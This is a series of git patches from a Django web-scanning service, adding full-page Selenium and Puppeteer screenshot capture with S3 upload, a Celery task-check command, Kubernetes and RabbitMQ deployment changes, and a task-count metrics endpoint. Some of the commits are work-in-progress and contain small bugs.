diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index 89f2970d..da7b3787 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -53,47 +53,6 @@ def __init__(self):
             jq.src = "https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js";
             document.getElementsByTagName('head')[0].appendChild(jq);
             """
-            )
-
-        
-        self.mask_function = (
-            """
-            (function($){
-                $.fn.overlayMask = function (action) {
-                    var mask = this.find('.overlay-mask');
-
-                    // Create the required mask
-
-                    if (!mask.length) {
-                    this.css({
-                        position: 'relative'
-                    });
-                    mask = $('<div class="overlay-mask"></div>');
-                    mask.css({
-                        position: 'absolute',
-                        width: '100%',
-                        height: '100%',
-                        color: 'green',
-                        backgroundColor: 'green',
-                        top: '0px',
-                        left: '0px',
-                        zIndex: 100,
-                    }).appendTo(this);
-                    }
-
-                    // Act based on params
-
-                    if (!action || action === 'show') {
-                    mask.show();
-                    } else if (action === 'hide') {
-                    mask.hide();
-                    }
-
-                    return this;
-                };
-                })(jQuery)
-            
-            """
         )
 
 
@@ -117,6 +76,8 @@ def check_timeout(self, timeout, start_time):
 
 
 
+
+
     def scan(self, scan, configs, driver=None,):
         """
         Grabs multiple screenshots of the website and uploads 
@@ -262,6 +223,158 @@ def scan(self, scan, configs, driver=None,):
 
 
 
+
+    def scan_full(self, scan, configs, driver=None,):
+        """
+        Grabs multiple screenshots of the website and uploads 
+        them to s3.
+        """
+
+        # setup boto3 configurations
+        s3 = boto3.client(
+            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+            region_name=str(settings.AWS_S3_REGION_NAME), 
+            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+        )
+
+        # get page and site objs
+        site = scan.site
+        page = scan.page
+
+        # initialize driver if not passed as param
+        driver_present = True
+        if not driver:
+            driver = driver_init()
+            driver_present = False
+
+
+        # request page_url 
+        driver.get(page.page_url)
+
+        # waiting for network requests to resolve
+        driver_wait(
+            driver=driver, 
+            interval=int(configs.get('interval', 5)),  
+            min_wait_time=int(configs.get('min_wait_time', 10)),
+            max_wait_time=int(configs.get('max_wait_time', 30)),
+        )
+
+        # getting full_page_height
+        full_page_height = driver.execute_script("return document.scrollingElement.scrollHeight;")
+        sizes = configs.get('window_size', '1920,1080').split(',')
+        driver.set_window_size(int(sizes[0]), int(full_page_height))
+
+
+        if configs.get('disable_animations') == True:
+            # inserting animation pausing script
+            try:
+                driver.execute_script("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);")
+            except:
+                print('cannot pause animations')
+                
+            # inserting video pausing scripts
+            try:
+                driver.execute_script("const video = document.querySelectorAll('video').forEach(vid => vid.pause());")
+            except:
+                print('cannnot pause videos')
+
+        # mask all listed ids        
+        if configs.get('mask_ids') is not None and configs.get('mask_ids') != '':
+            ids = configs.get('mask_ids').split(',')
+            for id in ids:
+                try:
+                    driver.execute_script(f"document.getElementById('{id}').style.visibility='hidden';")
+                    print('masked an element')
+                except:
+                    print('cannot find element via id provided')
+
+        
+        # mask all Global mask ids that are active
+        active_masks = Mask.objects.filter(active=True)
+        if len(active_masks) != 0:
+            for mask in active_masks:
+                try:
+                    driver.execute_script(f"document.getElementById('{mask.mask_id}').style.visibility='hidden';")
+                    print('masked an element')
+                except:
+                    print('cannot find element via global mask id provided')
+
+
+        # scroll one frame at a time and capture screenshot
+        image_array = []
+        index = 0
+        last_height = -1
+        bottom = False
+        start_time = datetime.now()
+        while not bottom:
+
+            # checking if maxed out time
+            if self.check_timeout(configs.get('timeout', 300), start_time):
+                break
+
+            # scroll single frame
+            if index != 0:
+                # driver.execute_script("window.scrollBy(0, window.innerHeight);")
+                driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);")
+                time.sleep(int(configs.get('min_wait_time', 10)))
+
+            # get current position and compare to previous
+            new_height = driver.execute_script("return window.pageYOffset + document.documentElement.clientHeight")
+            height_diff = new_height - last_height
+            if height_diff > 20:
+                last_height = new_height
+                pic_id = uuid.uuid4()
+                
+                # waiting for network requests to resolve
+                driver_wait(
+                    driver=driver, 
+                    interval=int(configs.get('interval', 5)),  
+                    min_wait_time=int(configs.get('min_wait_time', 10)),
+                    max_wait_time=int(configs.get('max_wait_time', 30)),
+                )
+
+                # get screenshot
+                driver.save_screenshot(f'{pic_id}.png')
+                image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
+                remote_path = f'static/sites/{site.id}/{page.id}/{scan.id}/{pic_id}.png'
+                root_path = settings.AWS_S3_URL_PATH
+                image_url = f'{root_path}/{remote_path}'
+            
+                # upload to s3
+                with open(image, 'rb') as data:
+                    s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
+                    )
+                # remove local copy
+                os.remove(image)
+
+                # create image obj and add to list
+                img_obj = {
+                    "index": index,
+                    "id": str(pic_id),
+                    "url": image_url,
+                    "path": remote_path,
+                }
+
+                image_array.append(img_obj)
+
+                index += 1 
+            
+            else:
+                bottom = True
+
+        if not driver_present:
+            quit_driver(driver)
+
+        return image_array
+
+
+
+
+
+
+
     def _scan(self, scan, configs, driver=None,):
         """
         Grabs multiple screenshots of the website and uploads 
@@ -435,7 +548,6 @@ def add_images(im1, im2):
 
 
 
-
     async def scan_p(self, scan, configs):
         """
         Using Puppeteer, grabs multiple screenshots of the website and uploads 
@@ -566,7 +678,7 @@ def get_active_global_masks():
                 # interact with and wait for page to load
                 await page.mouse.move(0, 0)
                 await page.mouse.move(0, 100)
-                time.sleep(configs.get('min_wait_time', 10))
+                time.sleep(int(configs.get('min_wait_time', 10)))
                 
             
                 # get screenshot
@@ -610,6 +722,198 @@ def get_active_global_masks():
 
 
 
+    async def scan_p_full(self, scan, configs):
+        """
+        Using Puppeteer, grabs multiple screenshots of the website and uploads 
+        them to s3.
+        """
+
+        # setup boto3 configurations
+        s3 = boto3.client(
+            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+            region_name=str(settings.AWS_S3_REGION_NAME), 
+            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+        )
+
+        # get page and site objs
+        @sync_to_async
+        def get_site():
+            site = scan.site
+            return site
+        
+        @sync_to_async
+        def get_page():
+            _page = scan.page
+            return _page
+
+        site = await get_site()
+        _page = await get_page()
+
+        driver = await driver_init_p(window_size=configs.get('window_size', '1920,1080'), wait_time=int(configs.get('max_wait_time', 30)))
+        page = await driver.newPage()
+
+        sizes = configs.get('window_size', '1920,1080').split(',')
+        is_mobile = False
+        if configs.get('device') == 'mobile':
+            is_mobile = True
+        
+        page_options = {
+            'waitUntil': 'networkidle0', 
+            'timeout': int(configs.get('max_wait_time', 30))*1000
+        }
+
+        # requesting page_url to get height of 
+        await page.goto(_page.page_url, page_options)
+
+        # getting full_page_height
+        full_page_height = await page.evaluate("document.scrollingElement.scrollHeight;")
+
+        viewport = {
+            'width': int(sizes[0]),
+            'height': int(full_page_height),
+            'isMobile': is_mobile,
+        }
+        
+        userAgent = (
+            "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
+            (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36"
+        )
+        
+        emulate_options = {
+            'viewport': viewport,
+            'userAgent': userAgent
+        }
+
+        if configs.get('device') == 'mobile':
+            await page.emulate(emulate_options)
+        else:
+            await page.setViewport(viewport)
+
+        # requesting page_url
+        await page.goto(_page.page_url, page_options)
+
+        
+        if configs.get('disable_animations') == True:
+            # inserting animation pausing script
+            try:
+                await page.evaluate("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);")
+            except:
+                print('cannot pause animations')
+
+            # pausing videos
+            try:
+                videos = await page.querySelectorAll('video')
+                for vid in videos:
+                    await page.evaluate('(vid) => vid.pause()', vid)
+            except Exception as e:
+                print(e)
+
+
+        # mask all listed ids
+        if configs.get('mask_ids') is not None and configs.get('mask_ids') != '':
+            ids = configs.get('mask_ids').split(',')
+            for id in ids:
+                try:
+                    await page.evaluate(f"document.getElementById('{id}').style.visibility='hidden';")
+                    print('masked an element')
+                except:
+                    print('cannot find element via id provided')
+
+
+        # mask all Global mask ids that are active
+        @sync_to_async
+        def get_active_global_masks():
+            masks = Mask.objects.filter(active=True)
+            active_masks = []
+            if len(masks) > 0:
+                for mask in masks:
+                    active_masks.append(mask.id)
+            return active_masks
+
+        active_masks = await get_active_global_masks()
+
+        for mask in active_masks:
+            try:
+                await page.evaluate(f"document.getElementById('{mask}').style.visibility='hidden';")
+                print('masked an element')
+            except:
+                print('cannot find element via global mask id provided')
+
+
+        # scroll one frame at a time and capture screenshot
+        image_array = []
+        index = 0
+        last_height = -1
+        bottom = False
+        start_time = datetime.now()
+        while not bottom:
+
+            # checking if maxed out time
+            if self.check_timeout(int(configs.get('timeout', 300)), start_time):
+                break
+
+            # scroll single frame
+            if index != 0:
+                await page.evaluate("window.scrollBy(0, document.documentElement.clientHeight);")
+                time.sleep(int(configs.get('min_wait_time', 10)))
+
+            # get current position and compare to previous
+            new_height = await page.evaluate("window.pageYOffset + document.documentElement.clientHeight")
+            height_diff = new_height - last_height
+            if height_diff > 20:
+                last_height = new_height
+                pic_id = uuid.uuid4()
+
+                # interact with and wait for page to load
+                await page.mouse.move(0, 0)
+                await page.mouse.move(0, 100)
+                time.sleep(int(configs.get('min_wait_time', 10)))
+                
+            
+                # get screenshot
+                await page.screenshot({'path': f'{pic_id}.png'})
+
+                image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
+                remote_path = f'static/sites/{site.id}/{_page.id}/{scan.id}/{pic_id}.png'
+                root_path = settings.AWS_S3_URL_PATH
+                image_url = f'{root_path}/{remote_path}'
+            
+                # upload to s3
+                with open(image, 'rb') as data:
+                    s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
+                    )
+                # remove local copy
+                os.remove(image)
+
+                # create image obj and add to list
+                img_obj = {
+                    "index": index,
+                    "id": str(pic_id),
+                    "url": image_url,
+                    "path": remote_path,
+                }
+
+                image_array.append(img_obj)
+
+                index += 1 
+            
+            else:
+                bottom = True
+
+        
+        await driver.close()
+
+        return image_array
+
+
+
+
+
+
+
+
 
 
     async def _scan_p(self, scan, configs):
@@ -751,7 +1055,7 @@ def add_images(im1, im2):
                 # interact with and wait for page to load
                 await page.mouse.move(0, 0)
                 await page.mouse.move(0, 100)
-                time.sleep(configs.get('min_wait_time', 10))
+                time.sleep(int(configs.get('min_wait_time', 10)))
                 
             
                 # get screenshot
@@ -1078,6 +1382,10 @@ def cv2_score(pre_img_array, post_img_array):
 
 
 
+
+
+
+
     def screenshot(self, site=None, url=None, configs=None, driver=None):
         """
         Grabs single screenshot of the website and uploads 
@@ -1228,7 +1536,7 @@ async def screenshot_p(self, site=None, url=None, configs=None):
         # interact with and wait for page to load
         await page.mouse.move(0, 0)
         await page.mouse.move(0, 100)
-        time.sleep(configs.get('min_wait_time', 10))
+        time.sleep(int(configs.get('min_wait_time', 10)))
 
         # get screenshot
         pic_id = uuid.uuid4()
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 8a784de1..bbd0746c 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -447,11 +447,11 @@ def _vrt(scan_id):
     try:
         if scan.configs['driver'] == 'selenium':
             driver = driver_s_init(window_size=scan.configs['window_size'], device=scan.configs['device'])
-            images = Image().scan(scan=scan, driver=driver, configs=scan.configs)
+            images = Image().scan_full(scan=scan, driver=driver, configs=scan.configs)
             quit_driver(driver)
 
         if scan.configs['driver'] == 'puppeteer':
-            images = asyncio.run(Image().scan_p(scan=scan, configs=scan.configs))
+            images = asyncio.run(Image().scan_p_full(scan=scan, configs=scan.configs))
         
         # updating Scan object
         scan = Scan.objects.get(id=scan_id)
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 188b27bb..1d929b05 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -143,6 +143,8 @@ def create_site(request, delay=False):
                             )
                 else:
                     create_site_and_pages_bg.delay(site_id=site.id, configs=configs)
+                site.time_crawl_started = datetime.now()
+                site.time_crawl_completed = datetime.now()
                 site.info["latest_scan"]["time_created"] = str(datetime.now())
                 site.save()
 

From 7c22e00cf62903d78ec20e4d20b03d619f8dd570 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 28 Jul 2023 20:29:37 -0500
Subject: [PATCH 067/752] added check_celery_tasks

---
 .../management/commands/check_celery_tasks.py | 30 +++++++++++++++++++
 k8s/prod/celery-deployment.yaml               |  8 +++--
 2 files changed, 36 insertions(+), 2 deletions(-)
 create mode 100644 app/api/management/commands/check_celery_tasks.py

diff --git a/app/api/management/commands/check_celery_tasks.py b/app/api/management/commands/check_celery_tasks.py
new file mode 100644
index 00000000..b35d3d31
--- /dev/null
+++ b/app/api/management/commands/check_celery_tasks.py
@@ -0,0 +1,30 @@
+from ....scanerr.celery import app 
+from django.core.management.base import BaseCommand
+import time
+
+# checking if celery tasks have completed running
+
+class Command(BaseCommand):
+
+    def handle(self, *args, **options):
+
+        def get_task_list():
+            # Inspect all nodes.
+            i = app.control.inspect()
+            # Tasks received, but are still waiting to be executed.
+            reserved = i.reserved()
+            print(f'Reserved tasks -> {str(reserved)}')
+            # Active tasks
+            active = i.active()
+            print(f'Active tasks -> {str(reserved)}')
+            tasks = len(active) + len(reserved)
+        
+        # get length of active and reserved task lists
+        tasks = get_task_list()
+
+        # waiting for tasks to complete
+        while tasks > 0:
+            time.sleep(10)
+            tasks = get_task_list()
+
+        
\ No newline at end of file
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index c70b72eb..02ddadcd 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -14,11 +14,12 @@ spec:
       labels:
         app: celery-deployment
     spec:
+      terminationGracePeriodSeconds: 1200
       imagePullSecrets:
         - name: regcred
       containers:
         - name: celery
-          image: <IMAGE> # landonr/scanerr-server:802fed4 # 
+          image: <IMAGE> # landonr/scanerr-server:c6f563e #
           imagePullPolicy: Always
           command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info"]
           envFrom:
@@ -31,4 +32,7 @@ spec:
             requests:
               cpu: "1"
               memory: "1Gi"
-
+          lifecycle:
+            preStop:
+              exec:
+                command: ["python3 manage.py check_celery_tasks.py"]
\ No newline at end of file

From 61e172cc2b354beb8c90ae1b7cdb3026fb5b7bd6 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 28 Jul 2023 21:50:07 -0500
Subject: [PATCH 068/752] testing

---
 app/api/management/commands/check_celery_tasks.py | 2 +-
 k8s/prod/app-deployment.yaml                      | 3 ++-
 k8s/prod/celery-deployment.yaml                   | 2 +-
 3 files changed, 4 insertions(+), 3 deletions(-)

diff --git a/app/api/management/commands/check_celery_tasks.py b/app/api/management/commands/check_celery_tasks.py
index b35d3d31..117642fd 100644
--- a/app/api/management/commands/check_celery_tasks.py
+++ b/app/api/management/commands/check_celery_tasks.py
@@ -1,4 +1,4 @@
-from ....scanerr.celery import app 
+from ...scanerr.celery import app
 from django.core.management.base import BaseCommand
 import time
 
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 5e213d38..5579723f 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -18,7 +18,7 @@ spec:
         - name: regcred
       containers:
         - name: scanerr-server
-          image: <IMAGE> # landonr/scanerr-server:802fed4 # 
+          image: <IMAGE> # landonr/scanerr-server:8f7f90d # 
           imagePullPolicy: Always
           ports:
             - containerPort: 8000
@@ -33,6 +33,7 @@ spec:
                 python3 manage.py create_admin &&
                 python3 manage.py driver_s_test &&
                 python3 manage.py driver_p_test &&
+                python3 manage.py check_celery_tasks &&
                 gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
           envFrom:
             - configMapRef:
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 02ddadcd..01ea4856 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -35,4 +35,4 @@ spec:
           lifecycle:
             preStop:
               exec:
-                command: ["python3 manage.py check_celery_tasks.py"]
\ No newline at end of file
+                command: ["python3 manage.py check_celery_tasks"]
\ No newline at end of file

From caa9d27cd7803e70f8d84672e99e46c17c457b52 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 28 Jul 2023 21:54:15 -0500
Subject: [PATCH 069/752] testing task checker

---
 app/api/management/commands/check_celery_tasks.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/management/commands/check_celery_tasks.py b/app/api/management/commands/check_celery_tasks.py
index 117642fd..3056d071 100644
--- a/app/api/management/commands/check_celery_tasks.py
+++ b/app/api/management/commands/check_celery_tasks.py
@@ -1,4 +1,4 @@
-from ...scanerr.celery import app
+from scanerr import celery
 from django.core.management.base import BaseCommand
 import time
 
@@ -10,7 +10,7 @@ def handle(self, *args, **options):
 
         def get_task_list():
             # Inspect all nodes.
-            i = app.control.inspect()
+            i = celery.app.control.inspect()
             # Tasks received, but are still waiting to be executed.
             reserved = i.reserved()
             print(f'Reserved tasks -> {str(reserved)}')

From bad1bf2d698805012d73c17ca0490c5d213abd16 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 28 Jul 2023 22:47:49 -0500
Subject: [PATCH 070/752] added pod_name var

---
 app/api/management/commands/check_celery_tasks.py |  8 +++++---
 k8s/prod/app-deployment.yaml                      | 12 +++++++++---
 k8s/prod/celery-deployment.yaml                   |  5 +++++
 3 files changed, 19 insertions(+), 6 deletions(-)

diff --git a/app/api/management/commands/check_celery_tasks.py b/app/api/management/commands/check_celery_tasks.py
index 3056d071..57221864 100644
--- a/app/api/management/commands/check_celery_tasks.py
+++ b/app/api/management/commands/check_celery_tasks.py
@@ -1,6 +1,6 @@
 from scanerr import celery
 from django.core.management.base import BaseCommand
-import time
+import time, os
 
 # checking if celery tasks have completed running
 
@@ -8,14 +8,16 @@ class Command(BaseCommand):
 
     def handle(self, *args, **options):
 
+        this_pod = f"celery@{str(os.environ.get('THIS_POD_NAME'))}"
+
         def get_task_list():
             # Inspect all nodes.
             i = celery.app.control.inspect()
             # Tasks received, but are still waiting to be executed.
-            reserved = i.reserved()
+            reserved = i.reserved()[this_pod]
             print(f'Reserved tasks -> {str(reserved)}')
             # Active tasks
-            active = i.active()
+            active = i.active()[this_pod]
             print(f'Active tasks -> {str(reserved)}')
             tasks = len(active) + len(reserved)
         
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 5579723f..7a41f6b4 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -18,7 +18,7 @@ spec:
         - name: regcred
       containers:
         - name: scanerr-server
-          image: <IMAGE> # landonr/scanerr-server:8f7f90d # 
+          image: <IMAGE> # landonr/scanerr-server:1e6dca5 # 
           imagePullPolicy: Always
           ports:
             - containerPort: 8000
@@ -33,11 +33,17 @@ spec:
                 python3 manage.py create_admin &&
                 python3 manage.py driver_s_test &&
                 python3 manage.py driver_p_test &&
-                python3 manage.py check_celery_tasks &&
+                printenv THIS_POD_NAME &&
                 gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
+            
           envFrom:
             - configMapRef:
                 name: app-configs
+          env:
+            - name: THIS_POD_NAME
+              valueFrom:
+                fieldRef:
+                  fieldPath: metadata.name
           resources:
             limits:
               cpu: "2"
@@ -46,7 +52,7 @@ spec:
               cpu: "1"
               memory: "1Gi"
       #     volumeMounts:
-      #      - mountPath: "/app/api/migrations"
+      #      - mountPath: "/app/api/migrations" python3 manage.py check_celery_tasks &&
       #        name: app-volume
       # volumes:
       #   - name: app-volume
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 01ea4856..81c30629 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -25,6 +25,11 @@ spec:
           envFrom:
             - configMapRef:
                 name: app-configs
+          env:
+            - name: THIS_POD_NAME
+              valueFrom:
+                fieldRef:
+                  fieldPath: metadata.name
           resources:
             limits:
               cpu: "2"

From 56560a7413cb8fa7e0d32d756dca84e7009eceb2 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 29 Jul 2023 10:38:20 -0500
Subject: [PATCH 071/752] testing celery with rabbitmq

---
 app/scanerr/settings.py           |  5 ++--
 k8s/kubernetes-notes.md           |  2 ++
 k8s/prod/app-deployment.yaml      |  9 -------
 k8s/prod/celery-deployment.yaml   |  2 +-
 k8s/prod/rabbitmq-deployment.yaml | 40 +++++++++++++++++++++++++++++++
 5 files changed, 46 insertions(+), 12 deletions(-)
 create mode 100644 k8s/prod/rabbitmq-deployment.yaml

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index 2afb3663..3c0f0744 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -191,10 +191,11 @@
 
 
 # Redis and Celery Conf
-CELERY_BROKER_URL = "redis://redis:6379"
-CELERY_RESULT_BACKEND = "redis://redis:6379"
+# CELERY_BROKER_URL = "redis://redis:6379"
+# CELERY_RESULT_BACKEND = "redis://redis:6379"
 
 # RabbitMQ and Celery Conf
+CELERY_BROKER_URL = "amqp://rabbitmq"
 # CELERY_BROKER_URL = "rpc://rabbitmq:5672"
 # CELERY_RESULT_BACKEND = "rpc://rabbitmq:5672"
 
diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md
index 6625052e..4eacd4a2 100644
--- a/k8s/kubernetes-notes.md
+++ b/k8s/kubernetes-notes.md
@@ -109,6 +109,8 @@ kubectl port-forward service/app-service 8000:8000
 <!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-pvc.yaml` -->
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-configs.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/redis-deployment.yaml`
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/rabbitmq-deployment.yaml`
+- 
 - `kubectl apply --server-side -f https://github.com/kedacore/keda/releases/download/v2.11.0/keda-2.11.0.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-deployment.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-deployment.yaml`
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 7a41f6b4..17d8ccd1 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -33,7 +33,6 @@ spec:
                 python3 manage.py create_admin &&
                 python3 manage.py driver_s_test &&
                 python3 manage.py driver_p_test &&
-                printenv THIS_POD_NAME &&
                 gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
             
           envFrom:
@@ -51,14 +50,6 @@ spec:
             requests:
               cpu: "1"
               memory: "1Gi"
-      #     volumeMounts:
-      #      - mountPath: "/app/api/migrations" python3 manage.py check_celery_tasks &&
-      #        name: app-volume
-      # volumes:
-      #   - name: app-volume
-      #     persistentVolumeClaim:
-      #      claimName: app-pvc
-
 ---
 
 apiVersion: v1
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 81c30629..be898dca 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -14,7 +14,7 @@ spec:
       labels:
         app: celery-deployment
     spec:
-      terminationGracePeriodSeconds: 1200
+      terminationGracePeriodSeconds: 2000
       imagePullSecrets:
         - name: regcred
       containers:
diff --git a/k8s/prod/rabbitmq-deployment.yaml b/k8s/prod/rabbitmq-deployment.yaml
new file mode 100644
index 00000000..1ff9e5b9
--- /dev/null
+++ b/k8s/prod/rabbitmq-deployment.yaml
@@ -0,0 +1,40 @@
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: rabbitmq
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      name: rabbitmq
+  template:
+    metadata:
+      labels:
+        name: rabbitmq
+    spec:
+      containers:
+        - name: rabbitmq
+          image: rabbitmq:alpine
+          ports:
+          - containerPort: 5672
+          resources: 
+            limits:
+              cpu: "250m"
+              memory: "250Mi"
+            requests:
+              cpu: "100m"
+              memory: "100Mi"
+
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: rabbitmq
+  labels:
+    app: rabbitmq
+spec:
+  type: ClusterIP
+  ports:
+  - port: 5672
+  selector:
+    name: rabbitmq

From 8cba017904da6e1783828f32014a161faea67317 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 29 Jul 2023 17:48:47 -0500
Subject: [PATCH 072/752] adding celery task endpoint

---
 app/api/v1/auth/urls.py    |  1 -
 app/api/v1/ops/services.py | 29 ++++++++++++++++++++++++++++-
 app/api/v1/ops/urls.py     |  1 +
 app/api/v1/ops/views.py    | 14 +++++++++++++-
 4 files changed, 42 insertions(+), 3 deletions(-)

diff --git a/app/api/v1/auth/urls.py b/app/api/v1/auth/urls.py
index f4a377a9..c0a4adf5 100644
--- a/app/api/v1/auth/urls.py
+++ b/app/api/v1/auth/urls.py
@@ -31,5 +31,4 @@
     path('account/<uuid:id>/members', views.AccountMembers.as_view(), name='account-members'),
     path('member', views.Member.as_view(), name='member'),
     path('member/<uuid:id>', views.Member.as_view(), name='member-detail'),
-
 ]
\ No newline at end of file
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 1d929b05..2b8ac586 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1,10 +1,11 @@
-import json, boto3, asyncio
+import json, boto3, asyncio, os
 from datetime import datetime
 from django.contrib.auth.models import User
 from django_celery_beat.models import CrontabSchedule, PeriodicTask
 from ...models import *
 from rest_framework.response import Response
 from rest_framework import status
+from scanerr import celery
 from .serializers import *
 from ...tasks import *
 from rest_framework.pagination import LimitOffsetPagination
@@ -2838,3 +2839,29 @@ def get_site_stats(request):
     return response
 
 
+
+
+
+def get_celery_task_length(request):
+
+    # Inspect all nodes.
+    i = celery.app.control.inspect()
+    # Tasks received, but are still waiting to be executed.
+    reserved = i.reserved()
+    # Active tasks
+    active = i.active()
+    
+    # init task counter
+    all_tasks = 0
+
+    # loop through all reserved & active tasks and
+    # add length of array (tasks) to total
+    for replica in reserved:
+        all_tasks += len(reserved[replica])
+    for replica in active:
+        all_tasks += reserved[replica]
+
+    # return response
+    data = {str(all_tasks)}
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
\ No newline at end of file
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index 2178fc87..fbfb7322 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -45,4 +45,5 @@
     path('beta/wordpress/migrate', views.WordPressMigrateSite.as_view(), name='migrate-site'),
     path('beta/wordpress/migrate/delay', views.WordPressMigrateSiteDelay.as_view(), name='migrate-site-delay'),
     path('beta/site/screenshot', views.SiteScreenshot.as_view(), name='site-screenshot'),
+    path('metrics/celery/tasks', views.CeleryTasks.as_view(), name='celery-tasks'),
 ]
\ No newline at end of file
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index 61db54ac..c978522c 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -637,4 +637,16 @@ class SiteScreenshot(APIView):
     
     def post(self, request):
         response = create_site_screenshot(request)
-        return response
\ No newline at end of file
+        return response
+
+
+
+class CeleryTasks(APIView):
+    authentication_classes = []
+    permission_classes = (AllowAny,)
+    http_method_names = ['get',]
+    
+    def get(self, request):
+        response = get_celery_task_length(request)
+        return response
+

From 8175f88e600cdd7ac31b65c542b94df79f6b598d Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
